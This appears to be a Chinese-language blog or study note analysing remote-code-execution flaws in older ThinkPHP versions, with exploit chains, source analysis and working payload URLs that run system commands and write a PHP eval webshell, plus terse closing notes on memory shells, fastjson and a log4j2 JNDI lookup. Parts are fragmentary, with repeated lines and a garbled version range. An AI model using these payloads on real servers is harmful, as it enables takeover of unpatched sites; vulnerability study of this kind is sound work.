ThinkPHP

组件介绍

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

1.2 版本介绍

ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示:

0x02 高危漏洞介绍

通过对ThinkPHP漏洞的收集和整理,过滤出其中的高危漏洞,可以得出如下列表:

image-20240621221140973

从中可以看出,ThinkPHP近年出现的高风险漏洞主要存在于框架中的函数

这些漏洞均需要在二次开发的过程中使用了这些风险函数方可利用

所以这些漏洞更应该被称为框架中的风险函数,且这些风险点大部分可导致SQL注入漏洞

所以,开发者在利用ThinkPHP进行Web开发的过程中,一定需要关注这些框架的历史风险点,尽量规避这些函数或者版本,则可保证web应用的安全性。

3.2 利用链总结

基于暴露面脑图,我们可以得出几种可以直接利用的ThinkPHP框架漏洞利用链,不需要进行二次开发。

3.2.1 ThinkPHP 2.x/3.0 GetShell

image-20240621221317820

ThinkPHP 低于3.0 - GetShell

ThinkPHP 低版本可以使用以上漏洞执行任意系统命令,获取服务器权限。

3.2.2 ThinkPHP 5.0 GetShell

image-20240621221340036

ThinkPHP 5.0.x - GetShell

首先明确ThinkPHP框架系列版本。

根据ThinkPHP版本,如是0.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。

3.2.3 ThinkPHP 5.1 GetShell

image-20240621221355740

ThinkPHP 5.1.x - GetShell

首先明确ThinkPHP框架系列版本。

根据ThinkPHP版本,如是1.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞1,无需登录,即可执行任意命令,获取服务器最高权限。

如需使用ThinkPHP 5.x远程代码执行漏洞2,则需要php文件中跳过报错提示

即 文件中有语句:“error_reporting(0);”,故该漏洞在5.1.x系列版本利用需要满足以上前提,利用较难。

0x04 高危利用漏洞分析

从高危漏洞列表中,针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。

从高危漏洞列表中,针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。

4.1 ThinkPHP 2.x/3.0远程代码执行漏洞

4.1.1 漏洞概要

漏洞名称:ThinkPHP 2.x/3.0远程代码执行

影响范围:ThinkPHP 2.x/3.0

4.1.2 漏洞描述

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架。

Dispatcher.class.php中res参数中使用了preg_replace的/e危险参数,使得preg_replace第二个参数就会被当做php代码执行,导致存在一个代码执行漏洞,攻击者可以利用构造的恶意URL执行任意PHP代码。

4.1.3 漏洞分析

漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由,我们都知道,preg_replace的/e模式,和php双引号都能导致代码执行的,即漏洞触发点在102行的解析url路径的preg_replace函数中。代码如下:

image-20240621221552207

该代码块首先检测路由规则,如果没有制定规则则按照默认规则进行URL调度,在preg_replace()函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串。

正则表达式可以简化为“\w+/([^/])”,即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码,在PHP中,我们可以使用${}里面可以执行函数,然后我们在thinkphp的url中的偶数位置使用${}格式的php代码,即可最终执行thinkphp任意代码执行漏洞

如下所示:

1
2
3
index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}

4.2 ThinkPHP 5.x 远程代码执行漏洞1

4.2.1 漏洞概要

漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞

影响范围:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31

4.2.2 漏洞描述

2018年12月10日,ThinkPHPv5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。

此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。

电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

4.2.3 漏洞分析

本次ThinkPHP 5.0的安全更新主要是在library/think/APP.php文件中增加了对控制器名的限制

而ThinkPHP 5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了对控制器名的限制。

ThinkPHP 5.x RCE分析

在分析这个之前还看了两篇tp5的RCE漏洞,这两个洞都是很相似的,都是利用一个可控的变量dispatch去实现到最后还是构造出回调函数,可以学习一下,感觉这里面的思路就是本文分析漏洞的来源

https://xz.aliyun.com/t/3845

https://xz.aliyun.com/t/3845

payload:

1
localhost/tp52/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
1
localhost/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 and it'll execute the phpinfo

任意代码执行

1
localhost/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell 需要编码

1
http://192.168.1.21:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

根据补丁下的点,动态跟踪一下是否是因为controller没有做好过滤而实体化,确实是如此

App.php中,会根据请求的URL调用routeCheck进行调度解析在App.php中,会根据请求的URL调用routeCheck进行调度解析获得到$dispatch,所以payload是一定要经过那里的,可以在那里加断点进行调试

4.3 ThinkPHP 5.x 远程代码执行漏洞2

4.3.1 漏洞概要

漏洞名称:ThinkPHP 5.0.x-5.1.x远程代码执行漏洞

影响范围:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31

4.3.2 漏洞描述

2019年1月11日,某安全团队公布了一篇ThinkPHP 5.0.远程代码执行漏洞文档,公布了一个ThinkPHP 5.0.远程代码执行漏洞。文章中的该漏洞与2018年12月的ThinkPHP 5.0.*远程代码执行漏洞原理相似,攻击者可利用该漏洞在一定条件下获取目标服务器的最高权限。后经研究,在一定条件下,ThinkPHP 5.1.x版本也存在该漏洞,在满足条件的情况下,攻击者可利用该漏洞执行任意代码。

4.3.3 漏洞分析

该漏洞的漏洞关键点存在于thinkphp/library/think/Request.php文件中:

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的 getshell 漏洞

image-20240621222847195

问题出现在路由调度时未对控制器进行过滤,导致攻击者可以通过引入 \ 符号来调用任意类方法

image-20240621222856477

而 parseModuleAndClass 方法中,当 $name 以反斜线 \ 开始时直接将其作为类名。

利用命名空间的特点,如果可以控制此处的 $name(即路由中的 controller 部分),那么就可以实例化任何一个类。
接着,我们再往回看路由解析的代码。

其中 route/dispatch/Url.php:: parseUrl 方法调用了 route/Rule.php:: parseUrlPath 来解析 pathinfo 中的路由信息

image-20240621223107894

代码比较简单,就是使用 / 对 $url 进行分割,未进行任何过滤。

其中的路由 url 从 Request::path () 中获取

image-20240621223052542

由于 var_pathinfo 的默认配置为 s,我们可利用 $_GET [‘s’] 来传递路由信息,也可利用 pathinfo 来传递,但测试时 windows 环境下会将 $_SERVER [‘pathinfo’] 中的 \ 替换为 /。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化 \namespace\class 类并执行 method 方法。

参考

内存马

Context.getSqlFactory 上下文环境 获取上下文环境,让里边注入木马

cookie过大:通过反射修改sizemaxs’q

header cookie,注册一个接口接受body请求

fastjson有三种rce方式,jdbc,template/BCEL(不出网/版本jdk8u251)

log4j2 {{$ldap://127.0.0.1:9999/Exec}} lookup()

怎么做待审。怎么做渗透。怎么打攻防

1/看看pom有没有漏洞依赖有的话全局搜索危险函数,看看sql配置文件(mybatis的mapper.xml select*from user where id=${}#{} ),根据每个控制器看源码

2/

3/

挖过什么洞/拿过什么证书/

secure_file_priv